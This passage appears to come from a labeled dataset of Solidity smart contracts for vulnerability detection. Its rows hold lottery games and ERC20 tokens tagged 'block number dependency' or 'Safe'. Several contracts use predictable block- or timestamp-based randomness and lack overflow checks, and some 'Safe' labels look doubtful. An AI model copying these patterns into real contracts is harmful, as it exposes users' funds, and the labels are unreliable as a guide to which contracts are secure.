public playerIdOf; uint256 public playerCount; uint256 public totalSupply; uint256 public totalPot; uint256 public sharePot; uint256 public finalPot; uint256 public luckyPot; uint64 public txCount; uint256 public finishTime; uint256 public startTime; address public lastPlayer; address public winner; uint256 public winAmount; uint256 public price; address[3] public dealers; uint256 public dealerDay; LuckyPending[] public luckyPendings; uint256 public luckyPendingIndex; LuckyRecord[] public luckyRecords; address public feeOwner; uint256 public feeAmount; uint64[16] public feePrices = [uint64(88000000000000),140664279921934,224845905067685,359406674201608,574496375292119,918308169866219,1467876789325690,2346338995279770,3750523695724810,5995053579423660,9582839714125510,15317764181758900,24484798507285300,39137915352965200,62560303190573500,99999999999999100]; uint8[16] public feePercents = [uint8(150),140,130,120,110,100,90,80,70,60,50,40,30,20,10,0]; uint256 public feeIndex; constructor(uint256 _startTime, address _feeOwner) public { require(_startTime >= now && _feeOwner != address(0)); startTime = _startTime; finishTime = _startTime + TIME_DURATION_MAX; totalSupply = 0; price = 88000000000000; feeOwner = _feeOwner; owner = msg.sender; } modifier isActivated() { require(now >= startTime); _; } modifier isAccount() { address _address = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_address)} require(_codeLength == 0 && tx.origin == msg.sender); _; } function balanceOf(address _owner) public view returns (uint256) { return playerOf[_owner].tokenBalance; } function getLuckyPendingSize() public view returns (uint256) { return luckyPendings.length; } function getLuckyRecordSize() public view returns (uint256) { return luckyRecords.length; } function getGameInfo() public view returns ( uint256 _balance, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, uint256 _rewardPot, uint256 _price, uint256 _totalSupply, uint256 _now, uint256 _timeLeft, address _winner, uint256 _winAmount, uint8 _feePercent ) { _balance = address(this).balance; _totalPot = totalPot; _sharePot = sharePot; _finalPot = finalPot; _luckyPot = luckyPot; _rewardPot = _sharePot; uint256 _withdraw = _sharePot.add(_finalPot).add(_luckyPot); if (_totalPot > _withdraw) { _rewardPot = _rewardPot.add(_totalPot.sub(_withdraw)); } _price = price; _totalSupply = totalSupply; _now = now; _feePercent = feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]; if (now < finishTime) { _timeLeft = finishTime - now; } else { _timeLeft = 0; _winner = winner != address(0) ? winner : lastPlayer; _winAmount = winner != address(0) ? winAmount : finalPot; } } function getPlayerInfo(address _playerAddress) public view returns ( uint256 _pid, uint256 _ethTotal, uint256 _ethBalance, uint256 _ethWithdraw, uint256 _tokenBalance, uint256 _tokenDayBalance ) { Player storage _player = playerOf[_playerAddress]; if (_player.pid > 0) { _pid = _player.pid; _ethTotal = _player.ethTotal; uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); _ethBalance = _player.ethBalance; if (_sharePot > _player.ethShareWithdraw) { _ethBalance = _ethBalance.add(_sharePot.sub(_player.ethShareWithdraw)); } _ethWithdraw = _player.ethWithdraw; _tokenBalance = _player.tokenBalance; uint256 _day = (now / 86400) * 86400; if (_player.tokenDay == _day) { _tokenDayBalance = _player.tokenDayBalance; } } } function getDealerAndLuckyInfo(uint256 _luckyOffset) public view returns ( address[3] _dealerPlayers, uint256[3] _dealerDayTokens, uint256[3] _dealerTotalTokens, address[5] _luckyPlayers, uint256[5] _luckyAmounts, uint256[5] _luckyLevels, uint256[5] _luckyTimes ) { uint256 _day = (now / 86400) * 86400; if (dealerDay == _day) { for (uint256 _i = 0; _i < 3; ++_i) { if (dealers[_i] != address(0)) { Player storage _player = playerOf[dealers[_i]]; _dealerPlayers[_i] = dealers[_i]; _dealerDayTokens[_i] = _player.tokenDayBalance; _dealerTotalTokens[_i] = _player.tokenBalance; } } } uint256 _size = _luckyOffset >= luckyRecords.length ? 0 : luckyRecords.length - _luckyOffset; if (_luckyPlayers.length < _size) { _size = _luckyPlayers.length; } for (_i = 0; _i < _size; ++_i) { LuckyRecord memory _record = luckyRecords[luckyRecords.length - _luckyOffset - 1 - _i]; _luckyPlayers[_i] = _record.player; _luckyAmounts[_i] = _record.amount; _luckyLevels[_i] = _record.level; _luckyTimes[_i] = _record.time; } } function transfer(address _to, uint256 _value) isActivated isAccount public returns (bool) { require(_to == address(this)); Player storage _player = playerOf[msg.sender]; require(_player.pid > 0); if (now >= finishTime) { if (winner == address(0)) { endGame(); } _value = 80000000000000000; } else { require(_value == 80000000000000000 || _value == 10000000000000000); } uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply); uint256 _eth = 0; if (_sharePot > _player.ethShareWithdraw) { _eth = _sharePot.sub(_player.ethShareWithdraw); _player.ethShareWithdraw = _sharePot; } _eth = _eth.add(_player.ethBalance); _player.ethBalance = 0; _player.ethWithdraw = _player.ethWithdraw.add(_eth); if (_value == 80000000000000000) { uint256 _fee = _eth.mul(feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]).div(1000); if (_fee > 0) { feeAmount = feeAmount.add(_fee); _eth = _eth.sub(_fee); } sendFeeIfAvailable(); msg.sender.transfer(_eth); emit Withdraw(_to, msg.sender, _eth); emit Transfer(msg.sender, _to, 0); } else { InternalBuyEvent memory _buyEvent = InternalBuyEvent({ flag1: 0 }); buy(_player, _buyEvent, _eth); } return true; } function() isActivated isAccount payable public { uint256 _eth = msg.value; require(now < finishTime); InternalBuyEvent memory _buyEvent = InternalBuyEvent({ flag1: 0 }); Player storage _player = playerOf[msg.sender]; if (_player.pid == 0) { require(_eth >= FEE_REGISTER_ACCOUNT); uint256 _fee = FEE_REGISTER_ACCOUNT.sub(BUY_AMOUNT_MIN); _eth = _eth.sub(_fee); feeAmount = feeAmount.add(_fee); playerCount = playerCount.add(1); Player memory _p = Player({ pid: playerCount, ethTotal: 0, ethBalance: 0, ethWithdraw: 0, ethShareWithdraw: 0, tokenBalance: 0, tokenDay: 0, tokenDayBalance: 0 }); playerOf[msg.sender] = _p; playerIdOf[_p.pid] = msg.sender; _player = playerOf[msg.sender]; _buyEvent.flag1 += 1; } buy(_player, _buyEvent, _eth); } function buy(Player storage _player, InternalBuyEvent memory _buyEvent, uint256 _amount) private { require(now < finishTime && _amount >= BUY_AMOUNT_MIN && _amount <= BUY_AMOUNT_MAX); uint256 _day = (now / 86400) * 86400; uint256 _backEth = 0; uint256 _eth = _amount; if (totalPot < 200000000000000000000) { if (_eth >= 5000000000000000000) { _backEth = _eth.sub(5000000000000000000); _eth = 5000000000000000000; } } txCount = txCount + 1; _buyEvent.flag1 += txCount * 10; _player.ethTotal = _player.ethTotal.add(_eth); totalPot = totalPot.add(_eth); uint256 _newTotalSupply = calculateTotalSupply(totalPot); uint256 _tokenAmount = _newTotalSupply.sub(totalSupply); _player.tokenBalance = _player.tokenBalance.add(_tokenAmount); if (_player.tokenDay == _day) { _player.tokenDayBalance = _player.tokenDayBalance.add(_tokenAmount); } else { _player.tokenDay = _day; _player.tokenDayBalance = _tokenAmount; } updatePrice(_newTotalSupply); handlePot(_day, _eth, _newTotalSupply, _tokenAmount, _player, _buyEvent); if (_backEth > 0) { _player.ethBalance = _player.ethBalance.add(_backEth); } sendFeeIfAvailable(); emitEndTxEvents(_eth, _tokenAmount, _buyEvent); } function handlePot(uint256 _day, uint256 _eth, uint256 _newTotalSupply, uint256 _tokenAmount, Player storage _player, InternalBuyEvent memory _buyEvent) private { uint256 _sharePotDelta = _eth.div(2); uint256 _finalPotDelta = _eth.div(5); uint256 _luckyPotDelta = _eth.mul(255).div(1000); uint256 _dealerPotDelta = _eth.sub(_sharePotDelta).sub(_finalPotDelta).sub(_luckyPotDelta); sharePot = sharePot.add(_sharePotDelta); finalPot = finalPot.add(_finalPotDelta); luckyPot = luckyPot.add(_luckyPotDelta); totalSupply = _newTotalSupply; handleDealerPot(_day, _dealerPotDelta, _player, _buyEvent); handleLuckyPot(_eth, _player); if (_tokenAmount >= ONE_TOKEN) { updateFinishTime(_tokenAmount); lastPlayer = msg.sender; } _buyEvent.flag1 += finishTime * 1000000000000000000000; } function handleLuckyPot(uint256 _eth, Player storage _player) private { uint256 _seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); _seed = _seed - ((_seed / 1000) * 1000); uint64 _level = 0; if (_seed < 227) { _level = 1; } else if (_seed < 422) { _level = 2; } else if (_seed < 519) { _level = 3; } else if (_seed < 600) { _level = 4; } else if (_seed < 700) { _level = 5; } else { _level = 6; } if (_level >= 5) { handleLuckyReward(txCount, _level, _eth, _player); } else { LuckyPending memory _pending = LuckyPending({ player: msg.sender, amount: _eth, txId: txCount, block: uint64(block.number + 1), level: _level }); luckyPendings.push(_pending); } handleLuckyPending(_level >= 5 ? 0 : 1); } function handleLuckyPending(uint256 _pendingSkipSize) private { if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { LuckyPending storage _pending = luckyPendings[luckyPendingIndex]; if (_pending.block <= block.number) { uint256 _seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add (block.number) ))); _seed = _seed - ((_seed / 1000) * 1000); handleLucyPendingForOne(_pending, _seed); if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) { _pending = luckyPendings[luckyPendingIndex]; if (_pending.block <= block.number) { handleLucyPendingForOne(_pending, _seed); } } } } } function handleLucyPendingForOne(LuckyPending storage _pending, uint256 _seed) private { luckyPendingIndex = luckyPendingIndex.add(1); bool _reward = false; if (_pending.level == 4) { _reward = _seed < 617; } else if (_pending.level == 3) { _reward = _seed < 309; } else if (_pending.level == 2) { _reward = _seed < 102; } else if (_pending.level == 1) { _reward = _seed < 44; } if (_reward) { handleLuckyReward(_pending.txId, _pending.level, _pending.amount, playerOf[_pending.player]); } } function handleLuckyReward(uint64 _txId, uint64 _level, uint256 _eth, Player storage _player) private { uint256 _amount; if (_level == 1) { _amount = _eth.mul(7); } else if (_level == 2) { _amount = _eth.mul(3); } else if (_level == 3) { _amount = _eth; } else if (_level == 4) { _amount = _eth.div(2); } else if (_level == 5) { _amount = _eth.div(5); } else if (_level == 6) { _amount = _eth.div(10); } uint256 _maxPot = luckyPot.div(2); if (_amount > _maxPot) { _amount = _maxPot; } luckyPot = luckyPot.sub(_amount); _player.ethBalance = _player.ethBalance.add(_amount); LuckyRecord memory _record = LuckyRecord({ player: msg.sender, amount: _amount, txId: _txId, level: _level, time: uint64(now) }); luckyRecords.push(_record); } function handleDealerPot(uint256 _day, uint256 _dealerPotDelta, Player storage _player, InternalBuyEvent memory _buyEvent) private { uint256 _potUnit = _dealerPotDelta.div(dealers.length); if (dealerDay != _day || dealers[0] == address(0)) { dealerDay = _day; dealers[0] = msg.sender; dealers[1] = address(0); dealers[2] = address(0); _player.ethBalance = _player.ethBalance.add(_potUnit); feeAmount = feeAmount.add(_dealerPotDelta.sub(_potUnit)); _buyEvent.flag1 += _player.pid * 100000000000000000000000000000000; return; } for (uint256 _i = 0; _i < dealers.length; ++_i) { if (dealers[_i] == address(0)) { dealers[_i] = msg.sender; break; } if (dealers[_i] == msg.sender) { break; } Player storage _dealer = playerOf[dealers[_i]]; if (_dealer.tokenDayBalance < _player.tokenDayBalance) { for (uint256 _j = dealers.length - 1; _j > _i; --_j) { if (dealers[_j - 1] != msg.sender) { dealers[_j] = dealers[_j - 1]; } } dealers[_i] = msg.sender; break; } } uint256 _fee = _dealerPotDelta; for (_i = 0; _i < dealers.length; ++_i) { if (dealers[_i] == address(0)) { break; } _dealer = playerOf[dealers[_i]]; _dealer.ethBalance = _dealer.ethBalance.add(_potUnit); _fee = _fee.sub(_potUnit); _buyEvent.flag1 += _dealer.pid * (_i == 0 ? 100000000000000000000000000000000 : (_i == 1 ? 100000000000000000000000000000000000000000000000 : (_i == 2 ? 100000000000000000000000000000000000000000000000000000000000000 : 0))); } if (_fee > 0) { feeAmount = feeAmount.add(_fee); } } function emitEndTxEvents(uint256 _eth, uint256 _tokenAmount, InternalBuyEvent memory _buyEvent) private { emit Transfer(address(this), msg.sender, _tokenAmount); emit Buy( address(this), msg.sender, _eth, _tokenAmount, totalSupply, totalPot, sharePot, finalPot, luckyPot, price, _buyEvent.flag1 ); } function endGame() private { if (luckyPot > 0) { feeAmount = feeAmount.add(luckyPot); luckyPot = 0; } if (winner == address(0) && lastPlayer != address(0)) { winner = lastPlayer; lastPlayer = address(0); winAmount = finalPot; finalPot = 0; Player storage _player = playerOf[winner]; _player.ethBalance = _player.ethBalance.add(winAmount); emit Win(address(this), winner, winAmount); } } function updateFinishTime(uint256 _tokenAmount) private { uint256 _timeDelta = _tokenAmount.div(ONE_TOKEN).mul(TIME_DURATION_INCREASE); uint256 _finishTime = finishTime.add(_timeDelta); uint256 _maxTime = now.add(TIME_DURATION_MAX); finishTime = _finishTime <= _maxTime ? _finishTime : _maxTime; } function updatePrice(uint256 _newTotalSupply) private { price = _newTotalSupply.mul(2).div(10000000000).add(88000000000000); uint256 _idx = feeIndex + 1; while (_idx < feePrices.length && price >= feePrices[_idx]) { feeIndex = _idx; ++_idx; } } function calculateTotalSupply(uint256 _newTotalPot) private pure returns(uint256) { return _newTotalPot.mul(10000000000000000000000000000) .add(193600000000000000000000000000000000000000000000) .sqrt() .sub(440000000000000000000000); } function sendFeeIfAvailable() private { if (feeAmount > 1000000000000000000) { feeOwner.transfer(feeAmount); feeAmount = 0; } } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function withdrawFee(uint256 _amount) onlyOwner public { require(now >= finishTime.add(30 days)); if (winner == address(0)) { endGame(); } feeAmount = feeAmount > _amount ? feeAmount.sub(_amount) : 0; feeOwner.transfer(_amount); } }",./Dataset/block number dependency (BN),0,0 0x022Bab7e9A7Ea4C50FF19733cc356BEFf6C1c15A_Game105.sol,"pragma solidity ^0.4.22; contract Game105 { struct GameInfo { uint funderNum; mapping(uint => address) funder; mapping(uint => address) winner; } GameInfo[] public games; uint public gameNum = 0; mapping(address => uint) public lastGame; mapping(address => uint) public funderBalance; mapping(address => address) public referrer; address public manager; uint count = 10000000000000000 * 5; constructor() public { manager = msg.sender; referrer[manager] = manager; games.push(GameInfo(0)); } function addIn(address referr) public payable returns (bool){ require( msg.value == 100 * count, ""ETH count is wrong!"" ); if(lastGame[msg.sender] == 0){ if(referr == msg.sender){ referrer[msg.sender] = manager; } else { referrer[msg.sender] = referr; } } games[gameNum].funder[games[gameNum].funderNum] = msg.sender; games[gameNum].funderNum += 1; lastGame[msg.sender] = gameNum; if (games[gameNum].funderNum == 10) { uint winNum = (now + gameNum)%10; games[gameNum].winner[0] = games[gameNum].funder[winNum]; games[gameNum].winner[1] = games[gameNum].funder[(winNum+3)%10]; games[gameNum].winner[2] = games[gameNum].funder[(winNum+6)%10]; funderBalance[games[gameNum].winner[0]] += 450 * count; funderBalance[games[gameNum].winner[1]] += 300 * count; funderBalance[games[gameNum].winner[2]] += 200 * count; funderBalance[manager] += 10 * count; for(uint8 i=0;i<10;i++){ address addr = referrer[games[gameNum].funder[i]]; funderBalance[addr] += count; funderBalance[referrer[addr]] += count; funderBalance[referrer[referrer[addr]]] += count / 2; funderBalance[referrer[referrer[referrer[addr]]]] += count / 2; funderBalance[referrer[referrer[referrer[referrer[addr]]]]] += count / 2; funderBalance[referrer[referrer[referrer[referrer[referrer[addr]]]]]] += count / 2; } gameNum += 1; games.push(GameInfo(0)); } return true; } function withdraw(uint amount) public { require( funderBalance[msg.sender] >= amount, ""ETH Out of balance!"" ); funderBalance[msg.sender] += -amount; msg.sender.transfer(amount); } function getLastGame() public view returns (uint last, uint num, uint balance, address winer1, address winer2, address winer3){ last = lastGame[msg.sender]; GameInfo storage game = games[lastGame[msg.sender]]; num = game.funderNum; if(game.funderNum == 10){ winer1 = game.winner[0]; winer2 = game.winner[1]; winer3 = game.winner[2]; } balance = funderBalance[msg.sender]; } function getNewGame() public view returns (uint last, uint num, address winer1, address winer2, address winer3){ last = gameNum; GameInfo storage game = games[gameNum]; num = game.funderNum; if(game.funderNum == 3){ winer1 = game.winner[0]; winer2 = game.winner[1]; winer3 = game.winner[2]; } } }",Safe,8,8 0x0500d5751bb0341e3e8173869cd4e04bc4ad6dd7_MGU.sol,"pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract MGU is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MGU( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Moogu""; decimals = 18; symbol = ""MGU""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 980.sol,"pragma solidity ^0.4.12; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HKHCToken is StandardToken, SafeMath { string public constant name = ""Happily keep health""; string public constant symbol = ""HKHC""; uint256 public constant decimals = 18; string public version = ""1.0""; address public ethFundDeposit; address public newContractAddr; bool public isFunding; uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; uint256 public tokenRaised = 0; uint256 public tokenMigrated = 0; uint256 public tokenExchangeRate = 625; event AllocateToken(address indexed _to, uint256 _value); event IssueToken(address indexed _to, uint256 _value); event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } function HKHCToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1000000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); } function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); } function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); } }",./Dataset/block number dependency (BN),0,0 506.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Test6 is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Test6""; string public constant symbol = ""TST6""; uint public constant decimals = 18; uint256 public totalSupply = 5000000000e18; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 3000000e18; uint256 public bonus = 0; uint256 public constant minContribution = 1 ether / 1000; // 0.001 Ether uint256 public constant minBonus = 1 ether / 200; // 0.005 Ether uint256 public constant maxBonus = 1 ether / 100; // 0.01 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Test6 () public { owner = msg.sender; uint256 devTokens = 2250000000e18; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= minBonus ) { bonus = tokens / 5; } if ( msg.value >= maxBonus ) { bonus = tokens / 2; } tokens = tokens + bonus; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = 